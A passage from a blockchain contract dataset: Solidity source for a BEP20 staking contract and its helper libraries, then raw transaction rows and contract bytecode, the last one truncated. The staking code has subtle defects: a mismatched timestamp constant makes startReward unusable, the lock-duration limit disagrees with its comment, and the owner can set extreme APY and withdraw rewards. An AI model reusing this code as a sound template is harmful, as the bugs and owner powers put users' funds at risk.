* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(
address _owner,
address spender
) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeBEP20
* @dev Wrappers around BEP20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeBEP20 for IBEP20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeBEP20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IBEP20 token, address to, uint256 value) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IBEP20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IBEP20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IBEP20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeBEP20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IBEP20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(
value
);
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IBEP20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeBEP20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(
data,
"SafeBEP20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeBEP20: BEP20 operation did not succeed"
);
}
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data
) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract Stake0xGpuAi is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeBEP20 for IBEP20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IBEP20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. Tokens to distribute per block.
uint256 lastRewardTimestamp; // Last block number that Tokens distribution occurs.
uint256 accTokensPerShare; // Accumulated Tokens per share, times 1e12. See below.
}
IBEP20 public immutable stakingToken;
IBEP20 public immutable rewardToken;
mapping(address => uint256) public holderUnlockTime;
uint256 public totalStaked;
uint256 public apy;
uint256 public lockDuration;
uint256 public exitPenaltyPerc;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(address => UserInfo) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 private totalAllocPoint = 0;
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 amount);
constructor() {
stakingToken = IBEP20(0x486D95c40FEba650c38E98Cd9d7979D9cD88CeA0);
rewardToken = stakingToken;
apy = 80;
lockDuration = 7 days;
exitPenaltyPerc = 5;
// staking pool
poolInfo.push(
PoolInfo({
lpToken: stakingToken,
allocPoint: 1000,
lastRewardTimestamp: 2199615,
accTokensPerShare: 0
})
);
totalAllocPoint = 1000;
}
function stopReward() external onlyOwner {
updatePool(0);
apy = 0;
}
function startReward() external onlyOwner {
require(
poolInfo[0].lastRewardTimestamp == 21799615,
"Can only start rewards once"
);
poolInfo[0].lastRewardTimestamp = block.timestamp;
}
// View function to see pending Reward on frontend.
function pendingReward(address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[_user];
if (pool.lastRewardTimestamp == 21799615) {
return 0;
}
uint256 accTokensPerShare = pool.accTokensPerShare;
uint256 lpSupply = totalStaked;
if (block.timestamp > pool.lastRewardTimestamp && lpSupply != 0) {
uint256 tokenReward = calculateNewRewards()
.mul(pool.allocPoint)
.div(totalAllocPoint);
accTokensPerShare = accTokensPerShare.add(
tokenReward.mul(1e12).div(lpSupply)
);
}
return
user.amount.mul(accTokensPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) internal {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTimestamp) {
return;
}
uint256 lpSupply = totalStaked;
if (lpSupply == 0) {
pool.lastRewardTimestamp = block.timestamp;
return;
}
uint256 tokenReward = calculateNewRewards().mul(pool.allocPoint).div(
totalAllocPoint
);
pool.accTokensPerShare = pool.accTokensPerShare.add(
tokenReward.mul(1e12).div(lpSupply)
);
pool.lastRewardTimestamp = block.timestamp;
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public onlyOwner {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Stake primary tokens
function deposit(uint256 _amount) public nonReentrant {
if (holderUnlockTime[msg.sender] == 0) {
holderUnlockTime[msg.sender] = block.timestamp + lockDuration;
}
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[msg.sender];
updatePool(0);
if (user.amount > 0) {
uint256 pending = user
.amount
.mul(pool.accTokensPerShare)
.div(1e12)
.sub(user.rewardDebt);
if (pending > 0) {
require(
pending <= rewardsRemaining(),
"Cannot withdraw other people's staked tokens. Contact an admin A."
);
rewardToken.safeTransfer(address(msg.sender), pending);
}
}
uint256 amountTransferred = 0;
if (_amount > 0) {
uint256 initialBalance = pool.lpToken.balanceOf(address(this));
pool.lpToken.safeTransferFrom(
address(msg.sender),
address(this),
_amount
);
amountTransferred =
pool.lpToken.balanceOf(address(this)) -
initialBalance;
user.amount = user.amount.add(amountTransferred);
totalStaked += amountTransferred;
}
user.rewardDebt = user.amount.mul(pool.accTokensPerShare).div(1e12);
emit Deposit(msg.sender, _amount);
}
// Withdraw primary tokens from STAKING.
function withdraw() public nonReentrant {
require(
holderUnlockTime[msg.sender] <= block.timestamp,
"May not do normal withdraw early"
);
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[msg.sender];
uint256 _amount = user.amount;
updatePool(0);
uint256 pending = user.amount.mul(pool.accTokensPerShare).div(1e12).sub(
user.rewardDebt
);
if (pending > 0) {
require(
pending <= rewardsRemaining(),
"Cannot withdraw other people's staked tokens. Contact an admin B."
);
rewardToken.safeTransfer(address(msg.sender), pending);
}
if (_amount > 0) {
user.amount = 0;
totalStaked -= _amount;
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accTokensPerShare).div(1e12);
if (user.amount > 0) {
holderUnlockTime[msg.sender] = block.timestamp + lockDuration;
} else {
holderUnlockTime[msg.sender] = 0;
}
emit Withdraw(msg.sender, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw() external nonReentrant {
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[msg.sender];
uint256 _amount = user.amount;
totalStaked -= _amount;
// exit penalty for early unstakers, penalty held on contract as rewards.
if (holderUnlockTime[msg.sender] >= block.timestamp) {
_amount -= (_amount * exitPenaltyPerc) / 100;
}
holderUnlockTime[msg.sender] = 0;
pool.lpToken.safeTransfer(address(msg.sender), _amount);
user.amount = 0;
user.rewardDebt = 0;
emit EmergencyWithdraw(msg.sender, _amount);
}
// Withdraw reward. EMERGENCY ONLY. This allows the owner to migrate rewards to a new staking pool since we are not minting new tokens.
function emergencyRewardWithdraw(uint256 _amount) external onlyOwner {
require(
_amount <= rewardToken.balanceOf(address(this)) - totalStaked,
"not enough tokens to take out"
);
rewardToken.safeTransfer(address(msg.sender), _amount);
}
function calculateNewRewards() public view returns (uint256) {
PoolInfo storage pool = poolInfo[0];
if (pool.lastRewardTimestamp > block.timestamp) {
return 0;
}
return ((((block.timestamp - pool.lastRewardTimestamp) * totalStaked) *
apy) /
100 /
365 days);
}
function rewardsRemaining() public view returns (uint256) {
return rewardToken.balanceOf(address(this)) - totalStaked;
}
function updateApy(uint256 newApy) external onlyOwner {
require(newApy <= 10000, "APY must be below 10000%");
updatePool(0);
apy = newApy;
}
function updatelockduration(uint256 newlockDuration) external onlyOwner {
require(newlockDuration <= 2419200, "Duration must be below 2 weeks");
lockDuration = newlockDuration;
}
function updateExitPenalty(uint256 newPenaltyPerc) external onlyOwner {
require(newPenaltyPerc <= 20, "May not set higher than 20%");
exitPenaltyPerc = newPenaltyPerc;
}
}
|
1 | 19,497,441 |
df42a3be544b164a64e99c3583507bc1aca52c5762da4e8cc0efa05732e4446a
|
b0519a59c3a80b9b657537b93dc962518722e4e314679e2f7d4813140584f7fa
|
0000db5c8b030ae20308ac975898e09741e70000
|
ed0e416e0feea5b484ba5c95d375545ac2b60572
|
ce9d04047045dcb1be070d0ea94a9e908be45b67
|
608060405234801561001057600080fd5b50604051610a1a380380610a1a8339818101604052810190610032919061011c565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550326000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610149565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100e9826100be565b9050919050565b6100f9816100de565b811461010457600080fd5b50565b600081519050610116816100f0565b92915050565b600060208284031215610132576101316100b9565b5b600061014084828501610107565b91505092915050565b6108c2806101586000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063caa5c23f1461003b578063cce3d5d314610057575b600080fd5b610055600480360381019061005091906105fa565b610073565b005b610071600480360381019061006c9190610679565b6101ca565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100f890610703565b60405180910390fd5b60005b81518110156101c6578181815181106101205761011f610723565b5b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff1682828151811061015557610154610723565b5b60200260200101516020015160405161016e91906107c3565b6000604051808303816000865af19150503d80600081146101ab576040519150601f19603f3d011682016040523d82523d6000602084013e6101b0565b606091505b50505080806101be90610809565b915050610104565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161024f90610703565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161029e90610877565b60006040518083038185875af1925050503d80600081146102db576040519150601f19603f3d011682016040523d82523d6000602084013e6102e0565b606091505b50505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610348826102ff565b810181811067ffffffffffffffff8211171561036757610366610310565b5b80604052505050565b600061037a6102e6565b9050610386828261033f565b919050565b600067ffffffffffffffff8211156103a6576103a5610310565b5b602082029050602081019050919050565b600080fd5b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103f1826103c6565b9050919050565b610401816103e6565b811461040c57600080fd5b50565b60008135905061041e816103f8565b92915050565b600080fd5b600067ffffffffffffffff82111561044457610443610310565b5b61044d826102ff565b9050602081019050919050565b82818337600083830152505050565b600061047c61047784610429565b610370565b90508281526020810184848401111561049857610497610424565b5b6104a384828561045a565b509392505050565b600082601f8301126104c0576104bf6102fa565b5b81356104d0848260208601610469565b91505092915050565b6000604082840312156104ef576104ee6103bc565b5b6104f96040610370565b905060006105098482850161040f565b600083015250602082013567ffffffffffffffff81111561052d5761052c6103c1565b5b610539848285016104ab565b60208301525092915050565b60006105586105538461038b565b610370565b9050808382526020820190506020840283018581111561057b5761057a6103b7565b5b835b818110156105c257803567ffffffffffffffff8111156105a05761059f6102fa565b5b8086016105ad89826104d9565b8552602085019450505060208101905061057d565b5050509392505050565b600082601f8301126105e1576105e06102fa565b5b81356105f1848260208601610545565b91505092915050565b6000602082840312156106105761060f6102f0565b5b600082013567ffffffffffffffff81111561062e5761062d6102f5565b5b61063a848285016105cc565b91505092915050565b6000819050919050565b61065681610643565b811461066157600080fd5b50565b6000813590506106738161064d565b92915050565b60006020828403121561068f5761068e6102f0565b5b600061069d84828501610664565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000600082015250565b60006106ed6017836106a6565b91506106f8826106b7565b602082019050919050565b6000602082019050818103600083015261071c816106e0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600081905092915050565b60005b8381101561078657808201518184015260208101905061076b565b60008484015250505050565b600061079d82610752565b6107a7818561075d565b93506107b7818560208601610768565b80840191505092915050565b60006107cf8284610792565b915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061081482610643565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610846576108456107da565b5b600182019050919050565b50565b600061086160008361075d565b915061086c82610851565b600082019050919050565b600061088282610854565b915081905091905056fea264697066735822122036692b46567a60a4f6844f8be0961cccba9ff2777bd37b4ea35791aba4c5159b64736f6c63430008120033000000000000000000000000000037bb05b2cef17c6469f4bcdb198826ce0000
|
608060405234801561001057600080fd5b50600436106100365760003560e01c8063caa5c23f1461003b578063cce3d5d314610057575b600080fd5b610055600480360381019061005091906105fa565b610073565b005b610071600480360381019061006c9190610679565b6101ca565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100f890610703565b60405180910390fd5b60005b81518110156101c6578181815181106101205761011f610723565b5b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff1682828151811061015557610154610723565b5b60200260200101516020015160405161016e91906107c3565b6000604051808303816000865af19150503d80600081146101ab576040519150601f19603f3d011682016040523d82523d6000602084013e6101b0565b606091505b50505080806101be90610809565b915050610104565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161024f90610703565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161029e90610877565b60006040518083038185875af1925050503d80600081146102db576040519150601f19603f3d011682016040523d82523d6000602084013e6102e0565b606091505b50505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610348826102ff565b810181811067ffffffffffffffff8211171561036757610366610310565b5b80604052505050565b600061037a6102e6565b9050610386828261033f565b919050565b600067ffffffffffffffff8211156103a6576103a5610310565b5b602082029050602081019050919050565b600080fd5b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103f1826103c6565b9050919050565b610401816103e6565b811461040c57600080fd5b50565b60008135905061041e816103f8565b92915050565b600080fd5b600067ffffffffffffffff82111561044457610443610310565b5b61044d826102ff565b9050602081019050919050565b82818337600083830152505050565b600061047c61047784610429565b610370565b90508281526020810184848401111561049857610497610424565b5b6104a384828561045a565b509392505050565b600082601f8301126104c0576104bf6102fa565b5b81356104d0848260208601610469565b91505092915050565b6000604082840312156104ef576104ee6103bc565b5b6104f96040610370565b905060006105098482850161040f565b600083015250602082013567ffffffffffffffff81111561052d5761052c6103c1565b5b610539848285016104ab565b60208301525092915050565b60006105586105538461038b565b610370565b9050808382526020820190506020840283018581111561057b5761057a6103b7565b5b835b818110156105c257803567ffffffffffffffff8111156105a05761059f6102fa565b5b8086016105ad89826104d9565b8552602085019450505060208101905061057d565b5050509392505050565b600082601f8301126105e1576105e06102fa565b5b81356105f1848260208601610545565b91505092915050565b6000602082840312156106105761060f6102f0565b5b600082013567ffffffffffffffff81111561062e5761062d6102f5565b5b61063a848285016105cc565b91505092915050565b6000819050919050565b61065681610643565b811461066157600080fd5b50565b6000813590506106738161064d565b92915050565b60006020828403121561068f5761068e6102f0565b5b600061069d84828501610664565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000600082015250565b60006106ed6017836106a6565b91506106f8826106b7565b602082019050919050565b6000602082019050818103600083015261071c816106e0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600081905092915050565b60005b8381101561078657808201518184015260208101905061076b565b60008484015250505050565b600061079d82610752565b6107a7818561075d565b93506107b7818560208601610768565b80840191505092915050565b60006107cf8284610792565b915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061081482610643565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610846576108456107da565b5b600182019050919050565b50565b600061086160008361075d565b915061086c82610851565b600082019050919050565b600061088282610854565b915081905091905056fea264697066735822122036692b46567a60a4f6844f8be0961cccba9ff2777bd37b4ea35791aba4c5159b64736f6c63430008120033
| |
1 | 19,497,443 |
508e2517e43e752b7a4d4e6a9bb0ef73323a4db2beb757c43964a23e47e57078
|
f7ab6b059dc173096f4e5cb0c3613e1513a42ab5cc14852b24d12b0d3b7e992f
|
d2ffa17cca4b5b162ef61e818cd0b7d28f051463
|
172799fca760b87321ac77c5f4abc49021c486f6
|
8396b6146a0d2930c633090db635fc806dea1e9f
|
608060405234801561001057600080fd5b50610362806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063d20c88bd14610030575b600080fd5b6100de6004803603604081101561004657600080fd5b81019060208101813564010000000081111561006157600080fd5b82018360208201111561007357600080fd5b8035906020019184602083028401116401000000008311171561009557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550505090356001600160a01b031691506100e09050565b005b60005b82518110156101b65760008382815181106100fa57fe5b602002602001015190506000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561015c57600080fd5b505afa158015610170573d6000803e3d6000fd5b505050506040513d602081101561018657600080fd5b505185519091506101ac9086908590811061019d57fe5b602002602001015185836101c3565b50506001016100e3565b50806001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b602083106102405780518252601f199092019160209182019101610221565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146102a2576040519150601f19603f3d011682016040523d82523d6000602084013e6102a7565b606091505b50915091508180156102d55750805115806102d557508080602001905160208110156102d257600080fd5b50515b610326576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b505050505056fea265627a7a72315820c5382d28aec3b7dc3042f7f7abc7ae73fce057fac9962113624c64fc3b4e433364736f6c63430005100032
|
608060405234801561001057600080fd5b506004361061002b5760003560e01c8063d20c88bd14610030575b600080fd5b6100de6004803603604081101561004657600080fd5b81019060208101813564010000000081111561006157600080fd5b82018360208201111561007357600080fd5b8035906020019184602083028401116401000000008311171561009557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550505090356001600160a01b031691506100e09050565b005b60005b82518110156101b65760008382815181106100fa57fe5b602002602001015190506000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561015c57600080fd5b505afa158015610170573d6000803e3d6000fd5b505050506040513d602081101561018657600080fd5b505185519091506101ac9086908590811061019d57fe5b602002602001015185836101c3565b50506001016100e3565b50806001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b602083106102405780518252601f199092019160209182019101610221565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146102a2576040519150601f19603f3d011682016040523d82523d6000602084013e6102a7565b606091505b50915091508180156102d55750805115806102d557508080602001905160208110156102d257600080fd5b50515b610326576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c4544